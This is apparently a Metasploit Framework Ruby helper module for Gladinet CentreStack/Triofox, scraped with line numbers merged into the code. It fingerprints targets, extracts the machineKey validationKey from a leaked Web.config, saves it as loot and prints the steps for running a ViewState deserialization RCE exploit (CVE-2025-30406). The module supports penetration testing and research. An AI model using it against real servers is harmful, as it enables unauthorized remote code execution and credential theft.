Path: blob/master/lib/msf/core/auxiliary/gladinet.rb
31151 views
# -*- coding: binary -*-12##3# This module provides shared functionality for Gladinet CentreStack/Triofox modules4##5module Msf6##7# Module for shared Gladinet CentreStack/Triofox functionality8##9module Auxiliary::Gladinet10# Exploit module for ViewState deserialization RCE11EXPLOIT_MODULE = 'exploit/windows/http/gladinet_viewstate_deserialization_cve_2025_30406'.freeze1213# Extract machineKey validationKey from Web.config content14#15# @param content [String] The content of the Web.config file16# @return [String, nil] The validationKey in hex format, or nil if not found17def extract_machinekey(content)18return nil unless content1920# Extract machineKey from Web.config21# Pattern: <machineKey ... validationKey="..." ... />22# NOTE: The exploit module only needs the validationKey, not the decryptionKey23# The regex allows for any attributes before validationKey (e.g., decryption="AES", decryptionKey="...")24machinekey_match = content.match(/<machineKey[^>]*validationKey="([^"]+)"/i)25return nil unless machinekey_match2627validation_key = machinekey_match[1]2829# Return only validationKey (hex format) as required by the exploit module30validation_key31end3233# Check if content contains a machineKey34#35# @param content [String] The content to check36# @return [Boolean] True if machineKey is found37def contains_machinekey?(content)38!extract_machinekey(content).nil?39end4041# Extract and save machineKey, then display instructions for RCE exploit42#43# @param content [String] The content of the Web.config file44# @param filepath [String] The file path that was read45# @param loot_description [String] Description for the loot file46def handle_machinekey_extraction(content, filepath, loot_description = 'MachineKey extracted from Gladinet Web.config')47return unless content.include?('machineKey') || filepath.include?('Web.config')4849machinekey = extract_machinekey(content)50unless machinekey51print_warning('Could not extract machineKey from Web.config')52return nil53end5455print_good('Extracted machineKey from Web.config')56print_line("MachineKey: #{machinekey}")57print_line58print_good("For RCE: use #{EXPLOIT_MODULE}")59print_status('Set the MACHINEKEY option in the exploit module:')60print_line("use #{EXPLOIT_MODULE}")61print_line("set MACHINEKEY #{machinekey}")6263key_path = store_loot(64'gladinet.machinekey',65'text/plain',66datastore['RHOST'],67machinekey,68'machinekey.txt',69loot_description70)71print_good("MachineKey saved to: #{key_path}")72end7374# Check if target is a Gladinet CentreStack/Triofox installation75#76# @param response [Rex::Proto::Http::Response] HTTP response from login page77# @return [Boolean] True if target appears to be Gladinet78def gladinet?(response)79return false unless response&.code == 2008081# Check for Gladinet-specific cookies (strong indicator)82cookies = response.get_cookies || ''83has_glad_cookies = cookies.include?('y-glad-state=') || cookies.include?('y-glad-lsid=') || cookies.include?('y-glad-token=')8485# Check for ViewState generator in body (required for ASP.NET ViewState)86has_viewstate = response.body.include?('id="__VIEWSTATEGENERATOR"')8788# Check for Gladinet branding in body89has_gladinet_branding = response.body.include?('CentreStack') || response.body.include?('Triofox') || response.body.include?('GLADINET')9091# At least one strong indicator (cookies or ViewState + branding)92(has_glad_cookies) || (has_viewstate && has_gladinet_branding)93end9495# Detect the application type from response body96#97# @param body [String] HTTP response body98# @return [String] Application type: 'CentreStack', 'Triofox', or 'Unknown'99def detect_app_type(body)100return 'CentreStack' if body.include?('CentreStack')101return 'Triofox' if body.include?('Triofox')102103'Unknown'104end105106# Extract build version from response body107#108# @param body [String] HTTP response body109# @return [String, nil] Build version string or nil if not found110def extract_build_version(body)111build = body.match(/\(Build\s*.*\)/)112return nil if build.nil?113114build[0].gsub(/[[:space:]]/, '').split('Build')[1].chomp(')')115end116117# Send a GET request to the Gladinet login page and extract version118#119# @return [String, nil] Build version string or nil if not found120def gladinet_version121res = send_request_cgi({122'method' => 'GET',123'uri' => normalize_uri(target_uri.path, 'portal', 'loginpage.aspx')124})125return nil unless res&.code == 200 && gladinet?(res)126127extract_build_version(res.body)128end129end130end131132133